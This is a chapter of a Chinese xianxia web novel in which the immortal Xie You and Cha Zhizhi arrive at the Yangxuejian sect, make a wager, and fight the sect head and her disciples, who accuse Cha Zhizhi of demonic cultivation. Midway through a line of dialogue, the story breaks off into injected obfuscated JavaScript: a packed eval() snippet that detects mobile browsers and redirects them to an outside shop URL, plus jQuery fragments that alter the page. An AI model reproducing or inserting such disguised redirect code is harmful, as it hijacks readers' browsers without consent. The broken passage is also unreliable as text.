仰雪间以乐理闻名天下,弟子多为乐修。虽以“雪”冠名,所修行之处却是四季如春。
谢宥与茶吱吱到时,桃林乐曲悠扬响起,尊长已在门外迎接。
仰雪间的尊长和小孩子般大,听说是前些年修炼时领悟真谛,直接一夜白发,返老还童了。只是自那次修炼后,尊长就再没精进成仙之道。
也有外界传言,尊长是走火入魔,修为尽废,靠着玉石俱焚的法子才捡回一条命罢了。
是是非非的传言早就被添油加醋得不像样了,不过茶吱吱倒是没受其影响——他不认识人。
“喂,小儿,别东张西望了,低头。”尊长抱着胸,边跺着脚边看着谢宥身后的茶吱吱。她鼓起一边的腮帮子,把错归咎在谢宥身上,“小谢宥,你带人来之前难道不先介绍一下的吗?老身都站这好久了,结果他刚来时竟还捏了把老身的脸。”
茶吱吱听到自己被点名了,二话不说先鞠一躬:“不好意思,我以为你是在这守门的小师妹。”
没等谢宥回答,尊长夹了夹声音,甜甜道:“哎呀,有朝一日也是被小年轻夸年轻啦。果然还是新面孔的嘴更甜呀。对啦,你是不是叫茶吱吱呀?大名鼎鼎哦,我都有所耳闻。听说你和小谢宥的关系很不一般呢。”
她杏眼左右瞟,脸上扬起不明意味的笑容。
茶吱吱点头应是:“我是仙尊的——”“让不让进了。”谢宥挡住茶吱吱半个身,对尊长道,“寒暄够久了,一首曲子的时间都快到了。”
尊长登时撇嘴,一副“真扫兴”的模样。她没再多说什么,转身引着两人进门。
“这位茶小友也参与此次比试,老身并不反对。”她换回原来的声调,撩过鬓边一缕白发时又偏头扫了茶吱吱一眼,“只是我们之间的赌注是仙门名望,他的呢?”
“他和——”“可别打趣了。”谢宥还没说两个字,尊长就打断了。她抱着一种说玩笑话的样子笑道,“老身可不以貌取人,他能跟在你身后必是有过人之处的。你想让他和你共用一个赌注?笑话,让我弟子平白无故挨两次打,还得不来一点好处。你们玩沙包呢。”
骤然被提及,茶吱吱看看谢宥,又看看尊长,最后悄悄扯了下系统——他都不知道比试需要下赌注,还以为只要杀杀杀就行了。
况且他也没有什么可以拿出来的,家里那点灵石对于仰雪间估计只能当零嘴了。
系统这会也反应过来了,取出招工令看到最底下那点小得不能再小的字,哦豁一声:【我忘了还有这回事了,不好意思啊吱吱,它这个赌注是硬性要求,得拿出一半身家下注】
还是以前当反派太久了,系统懊悔地想,做反派的时候是不用管这些规则的,他一次也没下过。
吱吱可是很看重他的家当的,这一下就要了半数家产,岂不是要了茶吱吱的命?系统像被电触了一样,原地抽了两下。
谢宥余光瞥见系统那副模样,眉眼轻微抬起,旋即返过头来对茶吱吱道:“我报销。”
系统:【……】
尊长缩着头咯咯笑两声,耸了耸肩,没有插嘴。
“我家没什么贵重物件啊,要不这样,如果我输了,把我抵在这干几日活吧。”茶吱吱不想白拿谢宥的,但自己确实又没有特别拿得出手的。他想了想,或许他的家当还不如他的名字值钱呢,内心默默感谢系统之前给他投的报社后,茶吱吱毛遂自荐道,“我能干挺多的,扫地修法器建屋子练打手够可以。”
谢宥这时抿了抿嘴。
尊长倒是掩饰不住内心的喜悦了,看着不自在的谢宥,更是拍手叫好:“这个可以这个可以!”
茶吱吱被尊长这一鼓掌鼓得不自信了,以为自己进了什么圈套,他挨谢宥挨得更近了点,悄声询问:“这边的东西经常坏吗?”
谢宥勉强微笑摇头:“倒不是这个。”
只是……他大概是不肯让茶吱吱单独留在这的。
茶吱吱听得稀里糊涂,扭起一边的眉毛,正打算刨根问底。然而他才踏出一步,脚下就像踩了棉花一般,整个人重心不稳,险些栽下地。
谢宥眼疾手快地伸出手,准备去扶人,但茶吱吱本身反应也快,赶在谢宥那只手碰着他衣袖前扭了把腰,把自己又支棱起来了。
他站在原地一边谨慎地观察着自己身上的异样,一边茫然地看着谢宥尴尬收回的手。
茶吱吱后知后觉:方才他是不是该假装站不稳,然后等着谢宥把他牢牢接住的?
失策了。
茶吱吱故作轻松地挠了挠自己的头。
但紧接着,他蹙了蹙眉。
周围的空气不对劲。
刚进门时,周遭的风是朝着脸吹的,风中混有清淡的桃花香味,气流虽有波动,但幅度很小,与弹奏古琴时缓慢的旋律差不多。而现在不大相似了。
茶吱吱嗅出空气中有酒味。
不远处乐曲的旋律似乎也发生了变化,大体旋律不变,但波动的频率不一,就像弹奏者在勾弦时指尖意外牵动了另一根弦的边一样。这一点轻微的波动搅动了整首曲子的节奏,以至于茶吱吱再听,总觉得那一根多出来的弦在他脑中震动,把他的意识也震晕了。
就在这时,尊长从袖口取出一根笛子,转身同时向后跳跃,将自己架在半空之中。她深吸一口气,悠扬的笛声便如同骤然离弦的箭一般朝二人袭去。
茶吱吱亲眼看见空气之中凭空凝出丝丝缕缕的灵力,从不同方向刺向他与谢宥。那灵气如同细小的针,多而密,无孔不入,茶吱吱无法在一瞬间将其全部斩灭。
他对上谢宥眼神,凝眉示意了一下,旋即毫不犹豫地一脚踩过谢宥的肩,起身跳跃,直扑尊长而去。
尊长不慌不忙地催动着身旁的灵力跟着自己转,待茶吱吱来时擦身避过,霎那间止声转笛,打算从后敲击茶吱吱。
茶吱吱一手拽住笛身,另一手在空中一握,反身猛地空翻,将那一手针扎进尊长手腕。
尊长未曾料到自己的手会被空气袭击,惊诧之余下意识回缩力道,等再回过神来时,低头一瞧,茶吱吱已安稳落地,手中还拿着自己的笛子。
另一边,谢宥对尊长的招数熟悉到眼都不需要眨,随手一挥就施出结界兜住了尊长的音律冲击,再打一响指,已声制声,破了业障。
他漫不经心地朝这头热热身的茶吱吱走来,还有心问了句:“你对仰雪间的术法可有什么眉目了?”
尊长眉头紧皱:“小儿,你使的什么招数
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634662|204231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
茶吱吱甩了甩手,把手上残余的灵力挥掉。
“好生厉害,还能将灵力融于气流之中。”他又伸出手抓一团面前的空气,用力一扯。刹那间,音乐骤停,藏在左边树上弹琴的弟子摔倒在地,抬起头来,露出一张清澈茫然的脸。
一连将好几个藏在暗处的弟子揪出来后,茶吱吱才一副大功告成的模样,对尊长回道:“我使的都是大家平常练的招数啊,没什么稀奇的。”
“……”尊长面色一黯,一撩发丝,掐出根白丝,迅速朝茶吱吱掷去。
白丝在阳光照耀下隐于空中,无形无音。
系统暗道不妙,在茶吱吱面前飞来飞去,试图挡住那根来无影去无踪的白丝:【她这招你破不了,赶紧溜到谢宥身边去】
谢宥也觉察出不对,在茶吱吱头顶下了道结界,转而朝尊长道:“你们不在一条道上,何必追究。”
谈话间,那根白丝已不知不觉拐了个道,还是紧紧缠住了茶吱吱手腕。尊长双眼一凛:“魔修?”
几乎是尊长这两个字刚吐出,全宗门的弟子就将两人包围了。
他们个个神情戒备,手持法器,好像如果茶吱吱有分毫动作,他们将会立刻制裁茶吱吱一样。
茶吱吱心下一紧——这怎么发现的?!
他下意识将目光投向谢宥,可后者却并不返头看他。
完了……茶吱吱慌乱地想,他还没开始他的计划呢,怎么就结束了。谢宥会怎么看他?
“我竟不知尊长还能看出这些。”只听谢宥挑眉一笑,微微扫过众弟子的脸,最终定在尊长身上,“无凭无据,就打算刀剑相向了。想必这是驳我信和宗之薄面?”
“这小儿可不是你信和宗之人。”尊长目光依旧停留在茶吱吱身上,语气低沉,“再说,仙尊身边不是最容易出魔修了么?”
谢宥:?
系统:【……?】
【胡说八道呢她!】系统胡搅蛮缠,【我纯是因为任务需求好吧,这一说显得他谢宥好像那个名侦探一样,在哪哪就有魔修,我的努力就这么不值一提?】
谢宥不明所以地哼笑了声,意味深长地盯了尊长一眼,偏回头来问茶吱吱:“吱吱,你只需回答我,你是或不是。”
“不是。”茶吱吱反应极快地摇头,没办法,他不希望在这种时刻暴露自己的身份,不想在这时候成为大家的敌人。
茶吱吱咬着唇,内心萌生出一种想逃跑的想法。
谢宥一怔,不知道是不是对茶吱吱的回答不满意。不过他很快转回头去,手上蓄力:“看,都说了不是了。”
尊长眉间拧成一个川字,满眼“你脑子被驴踢了”的错愕。她嘴角勾起,白了谢宥一眼,对身后弟子传去密语。
下一刻,不及茶吱吱反应,身外一层结界骤然亮起,紧接着耳畔响起兵刃相击的刺耳声。
茶吱吱再一眨眼,谢宥也走了进来,和他一块挤在小小结界之内。
“不是要打工吗?”谢宥昂了昂头,示意他看外头不断进攻的弟子,鼓励道,“刚好人都齐了。”
茶吱吱还有担忧:“可他们……”可能能看穿他。
谢宥只回他三字。
“尽管去。”